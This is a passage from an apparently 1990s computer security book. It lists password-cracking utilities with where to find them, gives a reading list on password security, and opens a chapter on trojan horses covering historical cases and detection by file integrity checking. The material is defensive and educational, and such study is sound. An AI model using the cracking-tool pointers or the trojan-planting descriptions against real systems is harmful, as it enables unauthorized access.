American Megatrends BIOS. Before you go searching for this utility, \n" }, { "page_number": 188, "text": " \n \nyou might try the factory-default CMOS password. It is, oddly enough, AMI. In any event, \nthe program works, and that is what counts. \n \nCross Reference: To find AMI Decode, use the search string amidecod.zip. \n \nNetCrack by James O'Kane \nNetCrack is an interesting utility for use on the Novell NetWare platform. It applies a \nbrute-force attack against the bindery. It's slow, but still quite reliable. \n \nCross Reference: To find NetCrack, use the search string netcrack.zip. \n \nPGPCrack by Mark Miller \nBefore readers who use PGP get worked up, a bit of background is in order. Pretty Good \nPrivacy (PGP) is probably the strongest and most reliable encryption utility available to \nthe public sector. Its author, Phil Zimmermann, sums it up as follows: \nPGPTM uses public-key encryption to protect e-mail and data files. Communicate securely with \npeople you've never met, with no secure channels needed for prior exchange of keys. PGP is well \nfeatured and fast, with sophisticated key management, digital signatures, data compression, and \ngood ergonomic design. \nPGP can apply a series of encryption techniques. One of these, which is discussed in \nChapter 13, \"Techniques to Hide One's Identity,\" is IDEA. To give you an idea of how \ndifficult IDEA is to crack, here is an excerpt from the PGP Attack FAQ, authored by \nRoute (an authority on encryption and a member of \"The Guild,\" a hacker group): \nIf you had 1,000,000,000 machines that could try 1,000,000,000 keys/sec, it would still take all \nthese machines longer than the universe as we know it has existed and then some, to find the key. \nIDEA, as far as present technology is concerned, is not vulnerable to brute-force attack, pure and \nsimple. \nIn essence, a message encrypted using a 1024-bit key generated with a healthy and long \npassphrase is, for all purposes, unbreakable. So, why did Mr. Miller author this \ninteresting tool? Because passphrases can be poorly chosen and, if a PGP-encrypted \nmessage is to be cracked, the passphrase is a good place to start. Miller reports: \nOn a 486/66DX, I found that it takes about 7 seconds to read in a 1.2 megabyte passphrase file and \ntry to decrypt the file using every passphrase. Considering the fact that the NSA, other government \nagencies, and large corporations have an incredible amount of computing power, the benefit of \nusing a large, random passphrase is quite obvious. \nIs this utility of any use? It is quite promising. Miller includes the source with the \ndistribution as well as a file of possible passphrases (I have found at least one of those \npassphrases to be one I have used). The program is written in C and runs in the DOS, \nUNIX, and OS/2 environments. \n \nCross Reference: PGPCrack is available at several, reliable locations, including \n• \nhttp://www.voicenet.com/~markm/pgpcrack.html (DOS \nversion) \n" }, { "page_number": 189, "text": " \n \n• \nhttp://www.voicenet.com/~markm/pgpcrack-os2.zip (OS/2 \nversion) \n• \nhttp://www.voicenet.com/~markm/pgpcrack.v99b.tar.gz \n(UNIX version) \n \nThe ICS Toolkit by Richard Spillman \nThe ICS Toolkit utility is an all-purpose utility for studying Cryptanalysis. It runs well in \nMicrosoft Windows 3.11 but is more difficult to use in Windows 95 or Windows NT. It \nuses an older version of VBRUN300.DLL and therefore, users with later versions would be \nwise to move the newer copy to a temporary directory. (The ICS application will not \ninstall unless it can place its version of VBRUN300.DLL into the c:\\windows\\system \ndirectory.) This utility will help you learn how ciphers are created and how to break \nthem. It is really quite comprehensive, although it takes some ingenuity to set up. It was \nprogrammed for older versions of Microsoft Windows. The interface is more utilitarian \nthan attractive. \nEXCrack by John E. Kuslich \nThe EXCrack utility recovers passwords applied in the Microsoft Excel environment. Mr. \nKuslich is very clear that this software is not free but licensable (and copyrighted); \ntherefore, I have neglected to provide screenshots or quoted information. It's safe to say \nthe utility works well. \n \nCross Reference: To find EXCrack, use the search string excrak.zip. \n \nCP.EXE by Lyal Collins \nCP.EXE recovers or cracks passwords for CompuServe that are generated in CISNAV \nand WINCIM. It reportedly works on DOSCIM passwords as well. It a fast and reliable \nway to test whether your password is vulnerable to attack. \n \nCross Reference: This utility has been widely distributed and can be found by issuing \nthe search string cis_pw.zip. \n \nPassword NT by Midwestern Commerce, Inc. \nThe Password NT utility recovers, or cracks, administrator password files on the \nMicrosoft Windows NT 3.51 platform. In this respect, it is the NT equivalent of any \nprogram that cracks the root account in UNIX. Note that some hacking is required to use \nthis utility; if the original drive on which the target password is located is NTFS (and \ntherefore access-control options are enabled), you will need to move the password to a \ndrive that is not access-control protected. To do this, you must move the password to a \ndrive also running 3.51 workstation or server. Therefore, this isn't really an instant \nsolution. Nevertheless, after everything is properly set, it will take no time at all. \n" }, { "page_number": 190, "text": " \n \n \nCross Reference: A nicely done utility, Password NT is always available at the \ncompany's home page \n(http://www.omna.com/yes/AndyBaron/recovery.htm). \n \nThere are well over 100 other utilities of a similar character. I will refrain from listing \nthem here. I think that the previous list is sufficient to get you started studying password \nsecurity. At least you can use these utilities to test the relative strength of your passwords. \nResources \nAt this stage, I would like to address some concepts in password security, as well as give \nyou sources for further education. \nI hope that you will go to the Net and retrieve each of the papers I am about to cite. If you \nare serious about learning security, you will follow this pattern throughout this book. By \nfollowing these references in the order they are presented, you will gain an instant \neducation in password security. However, if your time is sparse, the following paragraphs \nwill at least provide you with some insight into password security. \nAbout UNIX Password Security \nUNIX password security, when implemented correctly, is fairly reliable. The problem is \nthat people pick weak passwords. Unfortunately, because UNIX is a multi-user system, \nevery user with a weak password represents a risk to the remaining users. This is a \nproblem that must be addressed: \nIt is of utmost importance that all users on a system choose a password that is not easy to guess. \nThe security of each individual user is important to the security of the whole system. Users often \nhave no idea how a multi-user system works and don't realize that they, by choosing an easy-to-\nremember password, indirectly make it possible for an outsider to manipulate the entire system.6 \n \n6Walter Belgers, UNIX Password Security. December 6, 1993. \n \n \nTIP: The above-mentioned paper, UNIX Password Security, gives an excellent overview \nof exactly how DES works into the UNIX password scheme. This includes a schematic \nthat shows the actual process of encryption using DES. For users new to security, this is \nan excellent starting point. \n \n \nCross Reference: Locate UNIX Password Security by entering the search string \npassword.ps. \n \nWhat are weak passwords? Characteristically, they are anything that might occur in a \ndictionary. Moreover, proper names are poor choices for passwords. However, there is no \nneed to theorize on what passwords are easily cracked. Safe to say, if the password \nappears in a password cracking wordlist available on the Internet, the password is no \ngood. So, instead of wondering, get yourself a few lists. \n \n" }, { "page_number": 191, "text": " \n \nCross Reference: Start your search for wordlists at \nhttp://sdg.ncsa.uiuc.edu/~mag/Misc/Wordlists.html. \n \nBy regularly checking the strength of the passwords on your network, you can ensure that \ncrackers cannot penetrate it (at least not through exploiting bad password choices). Such \na regimen can greatly improve your system security. In fact, many ISPs and other sites \nare now employing tools that check a user's password when it is first created. This \nbasically implements the philosophy that \n...the best solution to the problem of having easily guessed passwords on a system is to prevent \nthem from getting on the system in the first place. If a program such as a password cracker reacts \nby guessing detectable passwords already in place, then although the security hole is found, the \nhole existed for as long as the program took to detect it...If however, the program which changes \nusers' passwords...checks for the safety and guessability before that password is associated with \nthe user's account, then the security hole is never put in place.7 \n \n7Matthew Bishop, UC Davis, California, and Daniel Klein, LoneWolf Systems Inc. \n\"Improving System Security via Proactive Password Checking.\" (Appeared in Computers \nand Security [14, pp. 233-249], 1995.) \n \n \nTIP: This paper is probably one of the best case studies and treatments of easily-\nguessable passwords. It treats the subject in depth, illustrating real-life examples of \nvarious passwords that one would think are secure but actually are not. \n \n \nCross Reference: Locate Improving System Security via Proactive Password Checking \nby entering the search string bk95.ps. \n \n \nNOTE: As you go along, you will see many of these files have a *.ps extension. This \nsignifies a PostScript file. PostScript is a language and method of preparing documents. It \nwas created by Adobe, the makers of Acrobat and Photoshop. \nTo read a PostScript file, you need a viewer. One very good one is Ghostscript, which is \nshareware and can be found at http://www.cs.wisc.edu/~ghost/. \nAnother good package (and a little more lightweight) is a utility called \nRops. Rops is available for Windows and is located here: \n• \nhttp://www5.zdnet.com/ (the ZDNet software library) \n• \nhttp://oak.oakland.edu (the Oak software repository) \n \nOther papers of importance include the following: \n\"Observing Reusable Password Choices\" \nPurdue Technical Report CSD-TR 92-049 \nEugene H. Spafford \nDepartment of Computer Sciences, Purdue University \n" }, { "page_number": 192, "text": " \n \nDate: July 3, 1992 \nSearch String: Observe.ps \n\"Password Security: A Case History\" \nRobert Morris and Ken Thompson \nBell Laboratories \nDate: Unknown \nSearch String: pwstudy.ps \n\"Opus: Preventing Weak Password Choices\" \nPurdue Technical Report CSD-TR 92-028 \nEugene H. Spafford \nDepartment of Computer Sciences, Purdue University \nDate: June 1991 \nSearch String: opus.PS.gz \n\"Federal Information Processing Standards Publication 181\" \nAnnouncing the Standard for Automated Password Generator \nDate: October 5, 1993 \nURL: \nhttp://www.alw.nih.gov/Security/FIRST/papers/password/fips18\n1.txt \n\"Augmented Encrypted Key Exchange: A Password-Based Protocol Secure Against \nDictionary Attacks and Password File Compromise\" \nSteven M. Bellovin and Michael Merrit \nAT&T Bell Laboratories \nDate: Unknown \nSearch String: aeke.ps \n\"A High-Speed Software Implementation of DES\" \nDavid C. Feldmeier \nComputer Communication Research Group \nBellcore \n" }, { "page_number": 193, "text": " \n \nDate: June 1989 \nSearch String: des.ps \n\"Using Content Addressable Search Engines to Encrypt and Break DES\" \nPeter C. Wayner \nComputer Science Department \nCornell University \nDate: Unknown \nSearch String: desbreak.ps \n\"Encrypted Key Exchange: Password-Based Protocols Secure Against Dictionary \nAttacks\" \nSteven M. Bellovin and Michael Merrit \nAT&T Bell Laboratories \nDate: Unknown \nSearch String: neke.ps \n\"Computer Break-ins: A Case Study\" \nLeendert Van Doorn \nVrije Universiteit, The Netherlands \nDate: Thursday, January 21, 1993 \nSearch String: holland_case.ps \n\"Security Breaches: Five Recent Incidents at Columbia University\" \nFuat Baran, Howard \nKaye, and Margarita Suarez \nCenter for Computing Activities \nColombia University \nDate: June 27, 1990 \nSearch String: columbia_incidents.ps \nOther Sources and Documents \n" }, { "page_number": 194, "text": " \n \nFollowing is a list of other resources. Some are not available on the Internet. However, \nthere are articles that can be obtained through various online services (perhaps Uncover) \nor at your local library through interlibrary loan or through microfiche. You may have to \nsearch more aggressively for some of these, perhaps using the Library of Congress \n(locis.loc.gov) or perhaps an even more effective tool, like WorldCat \n(www.oclc.org). \n\"Undetectable Online Password Guessing Attacks\" \nYun Ding and Patrick Horster, \nOSR, 29(4), pp. 77-86 \nDate: October 1995 \n\"Optimal Authentication Protocols Resistant to Password Guessing Attacks\" \nLi Gong \nStanford Research Institute \nComputer Science Laboratory \nMen Park, CA \nDate: Unknown \nSearch String: optimal-pass.dvi or optimal-pass.ps \n\"A Password Authentication Scheme Based on Discrete Logarithms\" \nTzong Chen Wu and Chin Chen Chang \nInternational Journal of Computational Mathematics; Vol. 41, Number 1-\n2, pp. 31-37 \n1991 \n\"Differential Cryptanalysis of DES-like Cryptosystems\" \nEli Biham and Adi Shamir \nJournal of Cryptology, 4(1), pp. 3-72 \n1990 \n\"A Proposed Mode for Triple-DES Encryption\" \nDon Coppersmith, Don B. Johnson, and Stephen M. Matyas \nIBM Journal of Research and Development, 40(2), pp. 253-262 \nMarch 1996 \n" }, { "page_number": 195, "text": " \n \n\"An Experiment on DES Statistical Cryptanalysis\" \nServe Vaudenay \nConference on Computer and Communications Security, pp. 139-147 \nACM Press \nMarch 1996 \n\"Department of Defense Password Management Guideline\" \nIf you want to gain a more historical perspective regarding password security, start with \nthe Department of Defense Password Management Guideline. This document was \nproduced by the Department of Defense Computer Security Center at Fort Meade, \nMaryland. \n \nCross Reference: You can find the Department of Defense Password Management \nGuideline at \nhttp://www.alw.nih.gov/Security/FIRST/papers/password/dodpwm\nan.txt. \n \nSummary \nYou have reached the end of this chapter, and I have only a few things left to say in \nclosing. One point I want to make is this: password crackers are growing in number. \nBecause these tools often take significant processing power, it is not unusual for crackers \nto crack a large and powerful site just so they can use the processor power available \nthere. For example, if you can crack a network with, say, 800 workstations, you can use \nat least some of those machines to perform high-speed cracking. By distributing the \nworkload to several of these machines, you can ensure a much quicker result. \nMany people argue that there is no legitimate reason persuasive enough to warrant the \ncreation of such tools. That view is untenable. Password crackers provide a valuable \nservice to system administrators by alerting them of weak passwords on the network. The \nproblem is not that password crackers exist; the problem is that they aren't used \nfrequently enough by the good guys. I hope that this book heightens awareness of that \nfact. \n" }, { "page_number": 196, "text": " \n \n11 \nTrojans \nThis chapter examines one of the more insidious devices used to circumvent Internet \nsecurity: the trojan horse, or trojan. No other device is more likely to lead to total \ncompromise of a system, and no other device is more difficult to detect. \nWhat Is a Trojan? \nBefore I start, I want to offer a definition of what a trojan is because these devices are \noften confused with other malicious code. A trojan horse is \n• \nAn unauthorized program contained within a legitimate program. This unauthorized program \nperforms functions unknown (and probably unwanted) by the user. \n• \nA legitimate program that has been altered by the placement of unauthorized code within it; this \ncode performs functions unknown (and probably unwanted) by the user. \n• \nAny program that appears to perform a desirable and necessary function but that (because of \nunauthorized code within it that is unknown to the user) performs functions unknown (and \nprobably unwanted) by the user. \nThe unauthorized functions that the trojan performs may sometimes qualify it as another \ntype of malicious device as well. For example, certain viruses fit into this category. Such \na virus can be concealed within an otherwise useful program. When this occurs, the \nprogram can be correctly referred to as both a trojan and a virus. The file that harbors \nsuch a trojan/virus has effectively been trojaned. Thus, the term trojan is sometimes used \nas a verb, as in \"He is about to trojan that file.\" \nClassic Internet security documents define the term in various ways. Perhaps the most \nwell known (and oddly, the most liberal) is the definition given in RFC 1244, the Site \nSecurity Handbook: \nA trojan horse program can be a program that does something useful, or merely something \ninteresting. It always does something unexpected, like steal passwords or copy files without your \nknowledge. \nAnother definition that seems quite suitable is that given by Dr. Alan Solomon, an \ninternationally renowned virus specialist, in his work titled All About Viruses: \nA trojan is a program that does something more than the user was expecting, and that extra \nfunction is damaging. This leads to a problem in detecting trojans. Suppose I wrote a program that \ncould infallibly detect whether another program formatted the hard disk. Then, can it say that this \nprogram is a trojan? Obviously not if the other program was supposed to format the hard disk (like \nFormat does, for example), then it is not a trojan. But if the user was not expecting the format, \nthen it is a trojan. The problem is to compare what the program does with the user's expectations. \nYou cannot determine the user's expectations for a program. \n \n" }, { "page_number": 197, "text": " \n \nCross Reference: All About Viruses by Dr. Alan Solomon can be found at \nhttp://www.drsolomon.com/vircen/allabout.html. \nAnyone concerned with viruses (or who just wants to know more about \nvirus technology) should visit Dr. Solomon's site at \nhttp://www.drsolomon.com/. \n \nAt day's end, you can classify a trojan as this: any program that performs a hidden and \nunwanted function. This may come in any form. It might be a utility that purports to \nindex file directories or one that unlocks registration codes on software. It might be a \nword processor or a network utility. In short, a trojan could be anything (and could be \nfound in anything) that you or your users introduce to the system. \nWhere Do Trojans Come From? \nTrojans are created strictly by programmers. One does not get a trojan through any means \nother than by accepting a trojaned file that was prepared by a programmer. True, it might \nbe possible for a thousand monkeys typing 24 hours a day to ultimately create a trojan, \nbut the statistical probability of this is negligible. Thus, a trojan begins with human intent \nor mens rea. Somewhere on this planet, a programmer is creating a trojan right now. That \nprogrammer knows exactly what he or she is doing, and his or her intentions are malefic \n(or at least, not altruistic). \nThe trojan author has an agenda. That agenda could be almost anything, but in the \ncontext of Internet security, a trojan will do one of two things: \n• \nPerform some function that either reveals to the programmer vital and privileged information \nabout a system or compromises that system. \n• \nConceal some function that either reveals to the programmer vital and privileged information \nabout a system or compromises that system. \nSome trojans do both. Additionally, there is another class of trojan that causes damage to \nthe target (for example, one that encrypts or reformats your hard disk drive). So trojans \nmay perform various intelligence tasks (penetrative or collective) or tasks that amount to \nsabotage. \nOne example that satisfies the sabotage-tool criteria is the PC CYBORG trojan horse. As \nexplained in a December 19, 1989 CIAC bulletin (\"Information about the PC CYBORG \n(AIDS) Trojan Horse\"): \nThere recently has been considerable attention in the news media about a new trojan horse which \nadvertises that it provides information on the AIDS virus to users of IBM PC computers and PC \nclones. Once it enters a system, the trojan horse replaces AUTOEXEC.BAT, and may count the \nnumber of times the infected system has booted until a criterion number (90) is reached. At this \npoint PC CYBORG hides directories, and scrambles (encrypts) the names of all files on drive C:. \nThere exists more than one version of this trojan horse, and at least one version does not wait to \ndamage drive C:, but will hide directories and scramble file names on the first boot after the trojan \nhorse is installed. \n \n" }, { "page_number": 198, "text": " \n \nCross Reference: You can find the CIAC bulletin \"Information about the PC CYBORG \n(AIDS) Trojan Horse\" at http://www.sevenlocks.com/CIACA-10.htm. \n \nAnother example (one that caused fairly widespread havoc) is the AOLGOLD trojan \nhorse. This was distributed primarily over the Usenet network and through e-mail. The \nprogram was purported to be an enhanced package for accessing America Online (AOL). \nThe distribution consisted of a single, archived file. Unzipping the archive revealed two \nfiles, one of which was a standard INSTALL.BAT file. Executing the INSTALL.BAT file \nresulted in 18 files being expanded to the hard disk. As reported in a security advisory \n(\"Information on the AOLGOLD Trojan Program\") dated Sunday, February 16, 1997: \nThe trojan program is started by running the INSTALL.BAT file. The \nINSTALL.BAT file is a simple batch file that renames the VIDEO.DRV file to \nVIRUS.BAT and then runs it. VIDEO.DRV is an amateurish DOS batch file \nthat starts deleting the contents of several critical directories on your C: \ndrive, including \nc:\\ \nc:\\dos \nc:\\windows \nc:\\windows\\system \nc:\\qemm \nc:\\stacker \nc:\\norton \nWhen the batch file completes, it prints a crude message on the screen and attempts to run a \nprogram named DOOMDAY.EXE. Bugs in the batch file prevent the DOOMDAY.EXE program \nfrom running. Other bugs in the file cause it to delete itself if it is run from any drive but the C: \ndrive. The programming style and bugs in the batch file indicates that the trojan writer appears to \nhave little programming experience. \n \nCross Reference: You can find the security advisory titled \"Information on the \nAOLGOLD Trojan Program\" at http://www.emergency.com/aolgold.htm. \n \nThese trojans were clearly the work of amateur programmers: kids who had no more \ncomplex an agenda than causing trouble. These were both destructive trojans and \nperformed no sophisticated collective or penetrative functions. Such trojans are often \nseen, and usually surface, on the Usenet news network. \nHowever, trojans (at least in the UNIX world) have been planted by individuals that are \nalso involved in the legitimate development of a system. These are inside jobs, where \nsomeone at a development firm inserts the unauthorized code into an application or utility \n(or, in rare instances, the core of the operating system itself). These can be far more \ndangerous for a number of reasons: \n• \nThese trojans are not destructive (they collect intelligence on systems); their discovery is usually \ndelayed until they are revealed by accident. \n• \nBecause most servers that matter run UNIX, some highly trusted (and sensitive) sites can be \ncompromised. By servers that matter, I mean those that provide hundreds or even thousands of \nusers access to the Internet and other key networks within the Internet. These are generally \ngovernmental or educational sites, which differ from sites maintained, for example, by a single \n" }, { "page_number": 199, "text": " \n \ncompany. With a single company, the damage can generally travel only so far, placing the \ncompany and all its users at risk. This is a serious issue, to be sure, but is relevant only to that \ncompany. In contrast, the compromise of government or educational sites can place thousands of \ncomputers at risk. \nThere are also instances where key UNIX utilities are compromised (and trojaned) by \nprogrammers who have nothing to do with the development of the legitimate program. \nThis has happened many times and, on more than one occasion, has involved security-\nrelated programs. For example, following the release of SATAN, a trojan found its way \ninto the SATAN 1.0 distribution for Linux. \n \nNOTE: This distribution was not the work of Farmer or Venema. Instead, it was a \nprecompiled set of binaries intended solely for Linux users, compiled at Temple \nUniversity. Moreover, the trojan was confined to a single release, that being 1.0. \n \nReportedly, the file affected was a program called fping. The story goes as follows: A \nprogrammer obtained physical access to a machine housing the program. He modified the \nmain() function and altered the fping file so that when users ran SATAN, a special \nentry would be placed in their /etc/passwd file. This special entry was the addition of a \nuser named suser. Through this user ID, the perpetrator hoped to compromise many \nhosts. As it happened, only two recorded instances of such compromise emerged. Flatly \nstated, the programming was of poor quality. For example, the trojan provided no \ncontingency for those systems that made use of shadowed passwords. \n \nNOTE: The slackware distribution of Linux defaults to a nonshadowed password \nscheme. This may be true of other Linux distributions as well. However, the programmer \nresponsible for the trojan in question should not have counted on that. It would have been \nonly slightly more complicated to add a provision for this. \n \nAs you can see, a trojan might crop up anywhere. Even a file originating from a \nreasonably trusted source could be trojaned. \nWhere Might One Find a Trojan? \nTechnically, a trojan could appear almost anywhere, on any operating system or platform. \nHowever, with the exception of the inside job mentioned previously, the spread of trojans \nworks very much like the spread of viruses. Software downloaded from the Internet, \nespecially shareware or freeware, is always suspect. Similarly, materials downloaded \nfrom underground servers or Usenet newsgroups are also candidates. \nSometimes, one need not travel down such dark and forbidden alleys to find a trojan. \nTrojans can be found in major, network-wide distributions. For example, examine this \nexcerpt from a CIAC security advisory (\"E-14: Wuarchive Ftpd Trojan Horse\"), posted to \nthe Net in 1994: \nCIAC has received information that some copies of the wuarchive FTP daemon (ftpd) versions 2.2 \nand 2.1f have been modified at the source code level to contain a trojan horse. This trojan allows \nany user, local or remote, to become root on the affected UNIX system. CIAC strongly \n" }, { "page_number": 200, "text": " \n \nrecommends that all sites running these or older versions of the wuarchive ftpd retrieve and install \nversion 2.3. It is possible that versions previous to 2.2 and 2.1f contain the trojan as well. \nwftpd is one of the most widely used FTP servers in the world. This advisory affected \nthousands of sites, public and private. Many of those sites are still at risk, primarily \nbecause the system administrators at those locations are not as security conscious as they \nshould be. \n \nTIP: Pick 100 random hosts in the void and try their FTP servers. I would wager that out \nof those hosts, more than 80% are using wftpd. In addition, another 40% of those are \nprobably using older versions that, although they may not be trojaned, have security \nflaws of some kind. \n \nC'mon! How Often Are Trojans Really Discovered? \nTrojans are discovered often enough that they are a major security concern. What makes \ntrojans so insidious is that even after they are discovered, their influence is still felt. \nTrojans are similar to sniffers in that respect. No one can be sure exactly how deep into \nthe system the compromise may have reached. There are several reasons for this, but I \nwill limit this section to only one. \nAs you will soon read, the majority of trojans are nested within compiled binaries. That is \nto say: The code that houses the trojan is no longer in human-readable form but has been \ncompiled. Thus, it is in machine language. This language can be examined in certain raw \neditors, but even then, only printable character strings are usually comprehensible. These \nmost often are error messages, advisories, option flags, or other data printed to STDOUT at \nspecified points within the program: \nmy_function() \n{ \ncout << \"The value you have entered is out of range!\\n\"; \ncout << \"Please enter another:\" \n} \nBecause the binaries are compiled, they come to the user as (more or less) point-and-\nshoot applications. In other words, the user takes the file or files as is, without intimate \nknowledge of their structure. \nWhen authorities discover that such a binary houses a trojan, security advisories are \nimmediately issued. These tend to be preliminary and are later followed by more \ncomprehensive advisories that may briefly discuss the agenda and method of operation of \nthe trojan code. Unless the user is a programmer, these advisories spell out little more \nthan \"Get the patch now and replace the bogus binary.\" Experienced system \nadministrators may clearly understand the meaning of such advisories (or even clearly \nunderstand the purpose of the code, which is usually included with the comprehensive \nadvisory). However, even then, assessment of damages can be difficult. \nIn some cases, the damage seems simple enough to assess (for example, instances where \nthe trojan's purpose was to mail out the contents of the passwd file). The fix is pretty \nstraightforward: Replace the binary with a clean version and have all users change their \n" }, { "page_number": 201, "text": " \n \npasswords. This being the whole of the trojan's function, no further damage or \ncompromise is expected. Simple. \nBut suppose the trojan is more complex. Suppose, for example, that its purpose is to open \na hole for the intruder, a hole through which he gains root access during the wee hours. If \nthe intruder was careful to alter the logs, there might be no way of knowing the depth of \nthe compromise (especially if you discover the trojan months after it was installed). This \ntype of case might call for reinstallation of the entire operating system. \n \nNOTE: Reinstallation may be a requisite. Many more of your files might have been \ntrojaned since the initial compromise. Rather than attempt to examine each file (or each \nfile's behavior) closely, it might make better sense to start over. Equally, even if more \nfiles haven't been trojaned, it's likely that passwords, personal data, or other sensitive \nmaterials have been compromised. \n \nConversely, trojans may be found in executable files that are not compiled. These might \nbe shell scripts, or perhaps programs written in Perl, JavaScript, VBScript, Tcl (a popular \nscripting language), and so forth. There have been few verified cases of this type of \ntrojan. The cracker who places a trojan within a noncompiled executable is risking a great \ndeal. The source is in plain, human-readable text. In a small program, a block of trojan \ncode would stand out dramatically. However, this method may not be so ludicrous when \ndealing with larger programs or in those programs that incorporate a series of compiled \nbinaries and executable shell scripts nested within several subdirectories. The more \ncomplex the structure of the distribution, the less likely it is that a human being, using \nnormal methods of investigation, would uncover a trojan. \nMoreover, one must consider the level of the user's knowledge. Users who know little \nabout their operating system are less likely to venture deep into the directory structure of \na given distribution, looking for mysterious or suspicious code (even if that code is \nhuman readable). The reverse is true if the user happens to be a programmer. However, \nthe fact that a user is a programmer does not mean he or she will instantly recognize a \ntrojan. I know many BASIC programmers who have a difficult time reading code written \nin Perl. Thus, if the trojan exists in a scripting language, the programmer must first be \nfamiliar with that language before he or she can identify objectionable code within it. It is \nequally true that if the language even slightly resembles a language that the programmer \nnormally uses, he or she may be able to identify the problem. For example, Perl is \nsufficiently similar to C that a C programmer who has never written a line of Perl could \neffectively identify malicious code within a Perl script. And of course, anyone who writes \nprograms in a shell language or awk would likewise recognize questionable code in a Perl \nprogram. \n \nNOTE: Many Perl programs (or other scripted shell programs) are dynamic; that is, they \nmay change according to certain circumstances. For example, consider a program that, in \neffect, rewrites itself based on certain conditions specified in the programming code. \nSuch files need to be checked by hand for tampering because integrity checkers will \nalways report that the file has been attacked, even when it has not. Granted, today, there \nare relatively few dynamic programs, but that is about to change. There is talk on the \nInternet of using languages like Perl to perform functions in Electronic Data Interchange \n" }, { "page_number": 202, "text": " \n \n(EDI). In some instances, these files will perform functions that necessarily require the \nprogram file to change. \n \nWhat Level of Risk Do Trojans Represent? \nTrojans represent a very high level of risk, mainly for reasons already stated: \n• \nTrojans are difficult to detect. \n• \nIn most cases, trojans are found in binaries, which remain largely in non-human-readable form. \n• \nTrojans can affect many machines. \nLet me elaborate. Trojans are a perfect example of the type of attack that is fatal to the \nsystem administrator who has only a very fleeting knowledge of security. In such a \nclimate, a trojan can lead to total compromise of the system. The trojan may be in place \nfor weeks or even months before it is discovered. In that time, a cracker with root \nprivileges could alter the entire system to suit his or her needs. Thus, even when the \ntrojan is discovered, new holes may exist of which the system administrator is completely \nunaware. \nHow Does One Detect a Trojan? \nDetecting trojans is less difficult than it initially seems. But strong knowledge of your \noperating system is needed; also, some knowledge of encryption can help. \nIf your environment is such that sensitive data resides on your server (which is never a \ngood idea), you will want to take advanced measures. Conversely, if no such information \nexists on your server, you might feel comfortable employing less stringent methods. The \nchoice breaks down to need, time, and interest. The first two of these elements represent \ncost. Time always costs money, and that cost will rise depending on how long it has been \nsince your operating system was installed. This is so because in that length of time, many \napplications that complicate the reconciliation process have probably been installed. For \nexample, consider updates and upgrades. Sometimes, libraries (or DLL files) are altered \nor overwritten with newer versions. If you were using a file-integrity checker, these files \nwould be identified as changed. If you were not the person who performed the upgrade or \nupdate, and the program is sufficiently obscure, you might end up chasing a phantom \ntrojan. These situations are rare, true, but they do occur. \nMost forms of protection against (and prevention of) trojans are based on a technique \nsometimes referred to as object reconciliation. Although the term might sound \nintimidating, it isn't. It is a fancy way of asking \"Are things still just the way I left them?\" \nHere is how it works: Objects are either files or directories. Reconciliation is the process \nof comparing those objects against themselves at some earlier (or later) date. For \nexample, take a backup tape and compare the file PS as it existed in November 1995 to \nthe PS that now resides on your drive. If the two differ, and no change has been made to \n" }, { "page_number": 203, "text": " \n \nthe operating system, something is amiss. This technique is invariably applied to system \nfiles that are installed as part of the basic operating system. \nObject reconciliation can be easy understood if you recognize that for each time a file is \naltered in some way, that file's values change. For example, one way to clock the change \nin a file is by examining the date it was last modified. Each time the file is opened, \naltered, and saved, a new last-modified date emerges. However, this date can be easily \nmanipulated. Consider manipulating this time on the PC platform. How difficult is it? \nChange the global time setting, apply the desired edits, and archive the file. The time is \nnow changed. For this reason, time is the least reliable way to reconcile an object (at \nleast, relying on the simple date-last-modified time is unreliable). Also, the last date of \nmodification reveals nothing if the file was unaltered (for example, if it was only copied \nor mailed). \n \nNOTE: PC users who have used older machines can easily understand this. Sometimes, \nwhen the CMOS battery fails, the system may temporarily fail. When it is brought back \nup, you will see that a few files have the date January 1, 1980. \n \nAnother way to check the integrity of a file is by examining its size. However, this \nmethod is extremely unreliable because of how easily this value can be manipulated. \nWhen editing plain text files, it is simple to start out with a size of, say, 1,024KB and end \nup with that same size. It takes cutting a bit here and adding a bit there. But the situation \nchanges radically when you want to alter a binary file. Binary files usually involve the \ninclusion of special function libraries and other modules without which the program will \nnot work. Thus, to alter a binary file (and still have the program function) is a more \ncomplicated process. The programmer must preserve all the indispensable parts of the \nprogram and still find room for his or her own code. Therefore, size is probably a slightly \nmore reliable index than time. Briefly, before I continue, let me explain the process by \nwhich a file becomes trojaned. \nThe most common scenario is when a semi-trusted (known) file is the object of the attack. \nThat is, the file is native to your operating system distribution; it comes from the vendor \n(such as the file csh in UNIX or command.com in DOS). These files are written to your \ndrive on the first install, and they have a date and time on them. They also are of a \nspecified size. If the times, dates, or sizes of these files differ from their original values, \nthis raises immediate suspicion. \nEvil programmers know this. Their job, therefore, is to carefully examine the source code \nfor the file (usually obtained elsewhere) for items that can be excluded (for example, they \nmay single out commented text or some other, not-so-essential element of the file). The \nunauthorized code is written into the source, and the file is recompiled. The cracker then \nexamines the size of the file. Perhaps it is too large or too small. The process then begins \nagain, until the attacker has compiled a file that is as close to the original size as possible. \nThis is a time-consuming process. If the binary is a fairly large one, it could take several \ndays. \n \nNOTE: When an original operating-system distributed file is the target, the attacker may \nor may not have to go through this process. If the file has not yet been distributed to \n" }, { "page_number": 204, "text": " \n \nanyone, the attacker need not concern himself or herself with this problem. This is \nbecause no one has yet seen the file or its size. Perhaps only the original author of the file \nwould know that something was amiss. If that original author is not security conscious, \nhe or she might not even know. If you are a programmer, think now about the very last \nbinary you compiled. How big was it? What was its file size? I bet you don't remember. \n \nWhen the file has been altered, it is placed where others can obtain it. In the case of \noperating-system distributions, this is generally a central site for download (such as \nsunsite.unc.edu, which houses one of the largest collection of UNIX software on the \nplanet). From there, the file finds its way into workstations across the void. \n \nNOTE: sunsite.unc.edu is the Sun Microsystems-sponsored site at UNC Chapel \nHill. This site houses the greater body of free software on the Internet. Thousands of \nindividuals--including me--rely on the high-quality UNIX software available at this \nlocation. Not enough good can be said about this site. It is a tremendous public service. \n \nFor reasons that must now seem obvious, the size of the file is also a poor index by which \nto measure its alteration. So, to recount: Date, date of last access, time, and size are all \nindexes without real meaning. None of these alone is suitable for determining the \nintegrity of a file. In each, there is some flaw--usually inherent to the platform--that \nmakes these values easy to alter. Thus, generating a massive database of all files and their \nrespective values (time, size, date, or alteration) has only very limited value: \n...a checklist is one form of this database for a UNIX system. The file content themselves are not \nusually saved as this would require too much disk space. Instead, a checklist would contain a set \nof values generated from the original file--usually including the length, time of last modification, \nand owner. The checklist is periodically regenerated and compared against the save copies, with \ndiscrepancies noted. However...changes may be made to the contents of UNIX files without any of \nthese values changing from the stored 